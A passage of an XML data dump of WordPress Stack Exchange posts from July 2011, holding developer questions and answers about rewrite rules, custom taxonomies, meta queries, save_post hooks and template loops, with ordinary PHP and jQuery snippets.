LastActivityDate="2011-07-03T23:22:25.617" Title="Need to capture &quot;keyword&quot; added to the end of the post, even with &quot;pretty permalinks&quot;" Tags="&lt;permalinks&gt;&lt;mod-rewrite&gt;" AnswerCount="2" />
  <row Id="21888" PostTypeId="2" ParentId="21887" CreationDate="2011-07-03T20:58:44.833" Score="1" ViewCount="" Body="&lt;p&gt;If the user decides not to enable pretty permalinks, then I would respect their decision not to enable them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two potential options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Simply state that the Plugin requires pretty permalinks to be enabled in order to work&lt;/li&gt;&#xA;&lt;li&gt;As a fallback, just append the keyword as a query string if pretty permalinks are not enabled.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps try &lt;a href=&quot;http://www.prodeveloper.org/create-your-own-rewrite-rules-in-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;this tutorial for extending the WP rewrite rules&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the rewrite rules are an array, so you crate a function that pulls in the array, manipulate it, and then return it; then you hook that array into the &lt;code&gt;generate_rewrite_rules&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also reference what the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-htaccess-control/&quot; rel=&quot;nofollow&quot;&gt;WP Access Control Plugin&lt;/a&gt; does.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-03T23:22:25.617" LastActivityDate="2011-07-03T23:22:25.617" CommentCount="7" />
  <row Id="21889" PostTypeId="1" CreationDate="2011-07-03T20:59:23.427" Score="0" ViewCount="100" Body="&lt;p&gt;Is there a way to have a specific custom taxonomy for new 3.1 post formats? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say for example we want to categorize the &quot;gallery&quot; post format with two categories —only available for those kind of posts— as in &quot;portfolio&quot; and &quot;others&quot;. How can we do that? Going even further how can we sub-categorize those with a bunch of tags only available for those custom posts (as for example &quot;people&quot;, &quot;landscape&quot;, &quot;cityscape&quot;, etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it better to switch to custom post types + custom taxonomies to do this?&lt;/p&gt;&#xA;" OwnerUserId="6159" LastActivityDate="2011-07-05T17:34:36.877" Title="3.1 post formats and specific categories/custom taxonomies" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;post-formats&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21890" PostTypeId="2" ParentId="21889" CreationDate="2011-07-03T21:03:54.683" Score="1" ViewCount="" Body="&lt;p&gt;&quot;Post Format&quot; is simply a custom taxonomy, and it is - by design - not extensible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend just implementing this procedurally, by only using specific tags with specific Post Formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would start with the Codex entry on &lt;a href=&quot;http://codex.wordpress.org/Post_Formats&quot; rel=&quot;nofollow&quot;&gt;Post Formats&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a little primer I wrote on &lt;a href=&quot;http://www.chipbennett.net/2011/01/11/using-wordpress-post-formats-as-a-taxonomy/&quot; rel=&quot;nofollow&quot;&gt;using Post Formats as a taxonomy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for tutorials for implementing Post Formats, there are several. Just try a &lt;a href=&quot;http://www.google.com/#hl=en&amp;amp;sugexp=emsp&amp;amp;cp=18&amp;amp;gs_id=67&amp;amp;xhr=t&amp;amp;q=wordpress+post+formats&quot; rel=&quot;nofollow&quot;&gt;Google search for &quot;WordPress Post Formats&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-05T17:34:36.877" LastActivityDate="2011-07-05T17:34:36.877" CommentCount="3" />
  <row Id="21891" PostTypeId="2" ParentId="21887" CreationDate="2011-07-03T21:27:24.443" Score="0" ViewCount="" Body="&lt;p&gt;&lt;em&gt;As an addition to @Chip Bennets suggestion:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check the &lt;a href=&quot;http://codex.wordpress.org/Option_Reference#Permalinks&quot; rel=&quot;nofollow&quot;&gt;Option Reference&lt;/a&gt; to check for pretty permlinks/permalink structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a built in function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_query_arg&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_query_arg()&lt;/code&gt;&lt;/a&gt; that allows to append to the original query string.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-03T21:27:24.443" CommentCount="3" />
  <row Id="21893" PostTypeId="1" CreationDate="2011-07-03T22:07:13.287" Score="1" ViewCount="88" Body="&lt;p&gt;what are your ideas on grabbing an ip webcams jpg image (which is updated every few seconds) and automatically posting it via wordpress. What would be the best approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I would like to grab a jpg image, create a new post and create a post image from the webcam jpg found at a certain URL so you get a number of image-posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Andreas&lt;/p&gt;&#xA;" OwnerUserId="2037" LastEditorUserId="2037" LastEditorDisplayName="" LastEditDate="2011-07-03T22:19:57.270" LastActivityDate="2011-09-02T03:39:42.167" Title="IP camera jpg stream to post" Tags="&lt;posts&gt;&lt;automate&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="21894" PostTypeId="1" AcceptedAnswerId="21901" CreationDate="2011-07-03T22:25:47.873" Score="0" ViewCount="36" Body="&lt;p&gt;I've been looking for a way to import videos from YouTube as posts in regular intervals. Preferably daily, weekly is fine too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the past hour I've been playing with this plug-in: &#xA;&lt;a href=&quot;http://www.ternstyle.us/products/plugins/wordpress/wordpress-automatic-youtube-video-posts&quot; rel=&quot;nofollow&quot;&gt;http://www.ternstyle.us/products/plugins/wordpress/wordpress-automatic-youtube-video-posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It offers the ability to post videos to Wordpress as posts, but only from channels, not playlists. I'd like the playlist functionality to dynamically import videos from multiple users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can alter this plug-in, or create a hacked method of accomplishing this?&lt;/p&gt;&#xA;" OwnerUserId="6713" LastActivityDate="2011-07-04T02:05:45.923" Title="Importing YouTube Videos As Posts - From Playlists" Tags="&lt;youtube&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="21895" PostTypeId="2" ParentId="6356" CreationDate="2011-07-03T22:28:48.900" Score="0" ViewCount="" Body="&lt;p&gt;If you use WP Robot too much your blog will be seen as a bot or scraper site. I would rather mix the automatically created content with handwritten one then set it to autopilot.&#xA;The trick is to use the features of WP Robot to minimize your work and maximise the worth for the reader.&#xA;And yes: Automation plugins are almost always seen as something &quot;blackhat&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2011-07-03T22:28:48.900" />
  <row Id="21896" PostTypeId="1" CreationDate="2011-07-03T22:21:33.147" Score="0" ViewCount="91" Body="&lt;p&gt;My company is currently developing a mobile application and is planning on feeding information into it via wordpress.com (due to financial constraints - not for profit organization), but we've run into a problem with the feed.   The feeds on wordpress.com are XML and show up improperly in our app.   Is there any way to convert this XML feed into an RSS 2.0 feed?  I'm open to custom CSS designing on the wordpress site as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Andrew&lt;/p&gt;&#xA;" LastActivityDate="2011-08-13T04:23:14.857" Title="Wordpress.com XML feed to RSS 2.0 feed?" Tags="&lt;rss&gt;&lt;feed&gt;" AnswerCount="2" />
  <row Id="21897" PostTypeId="2" ParentId="21896" CreationDate="2011-07-03T22:29:21.257" Score="0" ViewCount="" Body="&lt;p&gt;You could use an XSLT transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XSLT stands for eXtensible Stylesheet Language Transform. Basically, an .xslt file allows you to take XML (or any other structured markup language like HTML) and apply a transformation. You could take the XML that Wordpress generates and use it to transform into the XML structure that RSS feeds use (RSS is just XML in a specific format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You apply an XSLT file against an XML file, and the output is an XML file in the new format. Browsers are capable of applying an XSLT file against the source of a file to create a new version. You could try having one page for the normal XML, and another page that emits a tag that applies the XSLT file, making it an RSS feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside to this is having to do some learning about XSLT, which can be a bit of a pain and is not used very often. Certain mobile browsers might not support it. The advantage is that it was designed to transform XML and runs very fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be able to get Wordpress to do the work on the server-side, making the browser used a moot point.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-03T22:29:21.257" />
  <row Id="21898" PostTypeId="1" AcceptedAnswerId="21902" CreationDate="2011-07-03T22:37:04.497" Score="0" ViewCount="59" Body="&lt;p&gt;Is it possible to check if a custom field exists for a given post within the loop? For example, I'm using functions like &lt;code&gt;get_post_meta($post-&amp;gt;ID, 'Company', true);&lt;/code&gt; preceded by a &lt;code&gt;&amp;lt;h4&amp;gt;&lt;/code&gt; tag, but I'd like to check to make sure that there is a value for the custom field &quot;Company&quot; before writing the &lt;code&gt;&amp;lt;h4&amp;gt;&lt;/code&gt;. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-07-04T02:07:43.133" Title="Check if a specific custom field exists?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="21899" PostTypeId="2" ParentId="21874" CreationDate="2011-07-03T23:06:22.720" Score="1" ViewCount="" Body="&lt;p&gt;I have one solution for you. &#xA;This code will show and unordered list with the name of the category and the count of posts containded in it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;myClass&quot;&amp;gt;&#xA; &amp;lt;?php $categories = get_categories('number=100');&#xA;       foreach ($categories as $cat) {&#xA;       echo &quot;&amp;lt;li&amp;gt;&quot;. $cat-&amp;gt;cat_name . &quot; Total posts: &quot;. $cat-&amp;gt;category_count .&quot;&amp;lt;/li&amp;gt;&quot;;&#xA;       } ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Retrieves the 100 first categories&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories('number=100');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for each of them shows &lt;code&gt;cat_name&lt;/code&gt; and &lt;code&gt;category_count&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well the result I presume you really need can now be handled in a var by  &lt;code&gt;$cat-&amp;gt;category_count&lt;/code&gt;, i.e:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$total_num_posts_in_your_category = $cat-&amp;gt;category_count&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that could help you.&lt;/p&gt;&#xA;" OwnerUserId="6691" LastActivityDate="2011-07-03T23:06:22.720" />
  <row Id="21901" PostTypeId="2" ParentId="21894" CreationDate="2011-07-04T02:05:45.923" Score="0" ViewCount="" Body="&lt;p&gt;It is possible, but you'll have to do a little work on your own (the Plugin is not needed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, load the &lt;a href=&quot;http://code.google.com/intl/de-DE/apis/youtube/2.0/developers_guide_php.html#Getting_Started&quot; rel=&quot;nofollow&quot;&gt;Zend GData Class&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you'll have to read trough &lt;a href=&quot;http://code.google.com/intl/de-DE/apis/youtube/2.0/developers_guide_php.html#Playlists&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-04T02:05:45.923" CommentCount="2" />
  <row Id="21902" PostTypeId="2" ParentId="21898" CreationDate="2011-07-04T02:07:43.133" Score="3" ViewCount="" Body="&lt;p&gt;The WP &lt;code&gt;get_&lt;/code&gt; methods are here to retrieve data, not to display them. You can easily check the var - containing the data - before adding your head tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_post_meta = get_post_meta($post-&amp;gt;ID, 'Company', true);&#xA;if ( ! empty ( $my_post_meta ) )&#xA;    echo '&amp;lt;h4&amp;gt;'.$my_post_meta.'&amp;lt;/h4&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-04T02:07:43.133" CommentCount="1" />
  <row Id="21903" PostTypeId="2" ParentId="19044" CreationDate="2011-07-04T02:12:01.483" Score="1" ViewCount="" Body="&lt;p&gt;One option would be simply to deactivate the Plugin, and then update to the final-release version as per normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, if you're using the bleeding-edge nightlies, just switch to stable, and then update at the next stable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you need to downgrade? Yeah, you might not be able to do that. If you have a site that you might potentially need to downgrade, &lt;em&gt;don't run unstable versions on it in the first place&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-04T02:12:01.483" />
  <row Id="21904" PostTypeId="2" ParentId="21893" CreationDate="2011-07-04T02:12:40.323" Score="0" ViewCount="" Body="&lt;p&gt;If you're adding a post every few seconds, then you'd really spam your database. Adding an attachment (which is some type of post), is not really different, but more appreciated. Take a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src#Related&quot; rel=&quot;nofollow&quot;&gt;these&lt;/a&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my 2 cents: I'd just display it according to the url, not download, save and add a post with lots of unnecessary data. If you need to save it, you're better off with simply saving it in some custom folder and not use the wp engine at this point. You could create date and/or time based folders and use the folder name as img caption or such.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-04T02:12:40.323" />
  <row Id="21905" PostTypeId="1" CreationDate="2011-07-04T02:30:04.300" Score="0" ViewCount="62" Body="&lt;p&gt;I have a custom post type with it's own taxonomy and I need to display a widget when on a category archive that is ONLY displayed when there are no posts. Currently I'm using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; is_tax( 'genre' )    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the widget logic so that it only displays for that taxonomy but it is being displayed all the time. When there is a post for that category the widget should disappear. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="6718" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-04T04:47:12.877" LastActivityDate="2011-07-04T04:47:12.877" Title="Using widget logic I want to show only a widget on the archive page if there are no posts" Tags="&lt;categories&gt;&lt;archive&gt;" CommentCount="2" />
  <row Id="21906" PostTypeId="2" ParentId="10383" CreationDate="2011-07-04T02:36:04.767" Score="0" ViewCount="" Body="&lt;p&gt;This code will show and unordered list with the name of the category and the count  the total posts containing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;myClass&quot;&amp;gt;&#xA; &amp;lt;?php $categories = get_categories(array('hide_empty'=&amp;gt;0,'number=100'));&#xA;       foreach ($categories as $cat) {&#xA;       echo &quot;&amp;lt;li&amp;gt;&quot;. $cat-&amp;gt;cat_name . &quot; - &quot;. $cat-&amp;gt;category_count .&quot; posts.&amp;lt;/li&amp;gt;&quot;;&#xA;       } ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Retrieves the 100 first categories (&lt;em&gt;you can change the 100 for any number you want&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories(array('hide_empty'=&amp;gt;0,'number=100'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for each of them (&lt;strong&gt;even the empty ones&lt;/strong&gt;) shows cat_name and category_count&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the code above in the page file you want to dispay the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will get some like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP - 0 posts.&lt;/li&gt;&#xA;&lt;li&gt;Uncategorized - 4 posts.&lt;/li&gt;&#xA;&lt;li&gt;WordPress - 1 posts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope that could help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ps:&lt;/strong&gt; &lt;em&gt;If you need them as links, replace the line&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; echo &quot;&amp;lt;li&amp;gt;&quot;. $cat-&amp;gt;cat_name . &quot; - &quot;. $cat-&amp;gt;category_count .&quot; posts.&amp;lt;/li&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;by&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_category_link($cat-&amp;gt;cat_ID).'&quot;&amp;gt;'. $cat-&amp;gt;cat_name . '&amp;lt;/a&amp;gt; - '. $cat-&amp;gt;category_count .' posts.&amp;lt;/li&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6691" LastEditorUserId="6691" LastEditorDisplayName="" LastEditDate="2011-07-04T02:47:09.293" LastActivityDate="2011-07-04T02:47:09.293" />
  <row Id="21907" PostTypeId="2" ParentId="7081" CreationDate="2011-07-04T03:24:57.080" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if you ever found a solution to this, but I needed to do the same thing. I took your jQuery and added quotations for the name + escaped them. Seems to work fine for me, so thanks for the original jQuery :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    jQuery(&quot;input[name=\&quot;tax_input[location][]\&quot;]&quot;).click(function () {&#xA;        selected = jQuery(&quot;input[name=\&quot;tax_input[location][]\&quot;]&quot;).filter(&quot;:checked&quot;).length;&#xA;        if (selected &amp;gt; 1){&#xA;            jQuery(&quot;input[name=\&quot;tax_input[location][]\&quot;]&quot;).each(function () {&#xA;                    jQuery(this).attr(&quot;checked&quot;, false);&#xA;            });&#xA;            jQuery(this).attr(&quot;checked&quot;, true);&#xA;        }&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My taxonomy input was called location and not ba_locations.&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-04T03:24:57.080" />
  <row Id="21908" PostTypeId="1" CreationDate="2011-07-04T03:51:24.103" Score="0" ViewCount="47" Body="&lt;p&gt;I have a meta_query like this , but 'relation' =&gt; 'OR'  NOT WORKING,&#xA;Does meta_query only do 'both/and' checks and  don't do 'either/or' ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;'post_type' =&amp;gt; 'post',&#xA;'posts_per_page' =&amp;gt; -1,&#xA;'meta_query' =&amp;gt; array(&#xA;'relation' =&amp;gt; 'OR',&#xA;    array(&#xA;        'key' =&amp;gt; 'app_os',&#xA;        'compare' =&amp;gt; 'LIKE',  &#xA;        'value' =&amp;gt; 'iPhone',  &#xA;    ),&#xA;    array(&#xA;        'key' =&amp;gt; 'app_os',&#xA;        'compare' =&amp;gt; 'LIKE',  &#xA;        'value' =&amp;gt; 'iPad',  &#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;);&#xA;$query = new WP_Query( $args );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="6720" LastActivityDate="2011-09-02T10:39:48.483" Title="meta queries do 'either/or' checks" Tags="&lt;wp-query&gt;&lt;meta-query&gt;" AnswerCount="2" />
  <row Id="21909" PostTypeId="2" ParentId="21908" CreationDate="2011-07-04T04:22:08.130" Score="0" ViewCount="" Body="&lt;p&gt;meta_query works on 'both/and' checks and also 'either/or'.so don't worry.your coding was correct.this is the actual format...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$a = new WP_Query(&#xA;array(&#xA;    'fields' =&amp;gt; 'ids',&#xA;    'ignore_sticky_posts' =&amp;gt; true,&#xA;    'meta_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'OR',&#xA;        array(&#xA;            'key' =&amp;gt; 'foo',&#xA;            'value' =&amp;gt; array( 'foobar' ),&#xA;            'compare' =&amp;gt; 'IN'&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; 'bar',&#xA;            'value' =&amp;gt; array( 'foobar2' ),&#xA;            'compare' =&amp;gt; 'IN'&#xA;        )&#xA;    )&#xA;) );&#xA;print_r( $a-&amp;gt;posts );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;you should try with this coding...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $args=new WP_Query(&#xA;     array(&#xA;    'post_type' =&amp;gt; 'post',&#xA;    'posts_per_page' =&amp;gt; -1,&#xA;    'meta_query' =&amp;gt; array(&#xA;    'relation' =&amp;gt; 'OR',&#xA;        array(&#xA;            'key' =&amp;gt; 'app_os',&#xA;            'value' =&amp;gt; array('iPhone'),  &#xA;            'compare' =&amp;gt; 'LIKE',  &#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; 'app_os_2',&#xA;            'value' =&amp;gt; array('iPad') ,&#xA;            'compare' =&amp;gt; 'LIKE',  &#xA;&#xA;        )&#xA;    )&#xA;    ); &#xA;print_r($args-&amp;gt;posts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-04T04:22:08.130" />
  <row Id="21910" PostTypeId="1" AcceptedAnswerId="21917" CreationDate="2011-07-04T05:28:43.137" Score="0" ViewCount="45" Body="&lt;p&gt;I've got an &lt;code&gt;add_action&lt;/code&gt; in functions.php, the action is for &lt;code&gt;save_post&lt;/code&gt; and the function I'm running I've named set_attachment_url. I'm simply getting the first attachment on a post and setting a custom field with the URL of that attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good news is, everything works great when I'm adding content from the wp-admin. But when I add content from the iOS app, I don't get the same results. I have to add the post, tap the post, click &quot;update&quot; and &lt;strong&gt;THEN&lt;/strong&gt; it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know enough about the hooks and when each gets fired, although I'm learning quickly. Can anyone spot what the issue may be, why it's not working from iOS on insert, but on update it will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the basics ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'save_post', 'set_attachment_url', 10, 1 );&#xA;&#xA;// process the attachment url&#xA;function set_attachment_url($post_id){&#xA;&#xA;    // get the post and status&#xA;    $my_post = get_post($post_id);&#xA;    $post_status = $my_post-&amp;gt;post_status;&#xA;&#xA;    // if we are publishing&#xA;    if($post_status == 'publish'){&#xA;&#xA;        // check custom field -- this is what tells us if we need to process this photo or not&#xA;        // if it does not have a photo_url then we need to work on it&#xA;&#xA;        $photo_url = get_post_meta($post_id, 'photo_url', true);&#xA;&#xA;        // if no length, we need to fill it&#xA;        if(!strlen($photo_url)){&#xA;&#xA;            // get the first attachment for this post&#xA;            $args = array( 'post_type' =&amp;gt; 'attachment', 'numberposts' =&amp;gt; 1, 'post_status' =&amp;gt; null, 'post_parent' =&amp;gt; $post_id ); &#xA;            $attachments = get_posts($args);&#xA;&#xA;            // set the attachment ID and get the photo url&#xA;            $attachment_id = $attachments[0]-&amp;gt;ID;&#xA;            $photo_url = wp_get_attachment_url($attachment_id);&#xA;&#xA;            // update the custom field with the image source&#xA;            update_post_meta( $post_id, 'photo_url', $photo_url );&#xA;&#xA;            // set the featured image&#xA;            update_post_meta( $post_id, '_thumbnail_id', $attachment_id );&#xA;&#xA;        }               &#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6483" LastActivityDate="2011-07-04T07:21:23.427" Title="Post via wp-admin and via iOS app, same hooks and triggers involved?" Tags="&lt;hooks&gt;&lt;add-action&gt;&lt;xml-rpc&gt;&lt;update-post-meta&gt;" AnswerCount="1" />
  <row Id="21911" PostTypeId="1" CreationDate="2011-07-04T01:40:18.507" Score="0" ViewCount="40" Body="&lt;p&gt;i'm getting myself pretty confused. i'm trying to modify a template to show more than one post from the loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code from the template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $wp_query = new WP_Query(array('cat'=&amp;gt;ot_option('hp_mid_cat'),'showposts'=&amp;gt;ot_option('hp_mid_num'),'paged'=&amp;gt;$paged)); ?&amp;gt;&#xA;        &amp;lt;?php if($wp_query-&amp;gt;have_posts()) : while($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;?php global $more; $more = 0; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i can't figure out how to edit this to show more than one post. i tried adding more categories, thinking it was just pulling the most recent from each category, but that didn't change anything. i have tried to take out this block and insert some new code but then i get errors of all sorts. &lt;/p&gt;&#xA;" LastActivityDate="2011-09-02T07:39:47.433" Title="wordpress - modifying template to show more posts" Tags="&lt;templates&gt;" AnswerCount="2" />
  <row Id="21912" PostTypeId="2" ParentId="21911" CreationDate="2011-07-04T05:34:45.490" Score="0" ViewCount="" Body="&lt;p&gt;Give this a go.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $postsPerPage = 10;&#xA;&#xA;    $wp_query = new WP_Query(&#xA;        array(&#xA;            'posts_per_page' =&amp;gt; $postsPerPage,&#xA;            'cat'=&amp;gt;ot_option('hp_mid_cat'),                &#xA;            'paged'=&amp;gt;$paged&#xA;        )&#xA;    );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The parameters available for WP_Query are here: &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-07-04T05:44:20.550" />
  <row Id="21913" PostTypeId="1" CreationDate="2011-07-03T21:09:24.467" Score="0" ViewCount="34" Body="&lt;p&gt;I'm trying to use the loop inside custom post settings.&lt;br&gt;&#xA;However this results in several errors the most common being the following: when I click on a post on the admin it always goes to the the last post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that I use is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$original_query = $wp_query;&#xA;$wp_query = null;&#xA;$args = array( 'nopaging' =&amp;gt; true, 'cat' =&amp;gt; $e-&amp;gt;cat_ID );&#xA;$wp_query = new WP_Query( $args );&#xA;while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();&#xA;   $output .= '&amp;lt;option&amp;gt;'.get_the_title().'&amp;lt;/option&amp;gt;';&#xA;endwhile; &#xA;&#xA;wp_reset_postdata();&#xA;$wp_query = null;&#xA;$wp_query = $original_query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any help would be very much appreciated!!&lt;br&gt;&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="6379" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-04T10:00:30.097" LastActivityDate="2011-07-04T10:02:51.497" Title="Wordpress loop in post admin view" Tags="&lt;wp-admin&gt;&lt;wp-query&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="21914" PostTypeId="1" CreationDate="2011-07-04T06:48:53.887" Score="0" ViewCount="40" Body="&lt;p&gt;I have to add the google map in each post. I tried to use these plugins &lt;a href=&quot;http://wordpress.org/extend/plugins/google-maps-in-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/google-maps-in-posts/&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/post-google-map/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/post-google-map/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display map as displayed when we go through link &lt;a href=&quot;http://maps.google.com.au/maps&quot; rel=&quot;nofollow&quot;&gt;http://maps.google.com.au/maps&lt;/a&gt; and enter this address &quot;Matsuri, 614 Crown St, Surry Hills 2010&quot;. We can see the map clearly here. I have to display the same map in each post. Using these plugins I tried 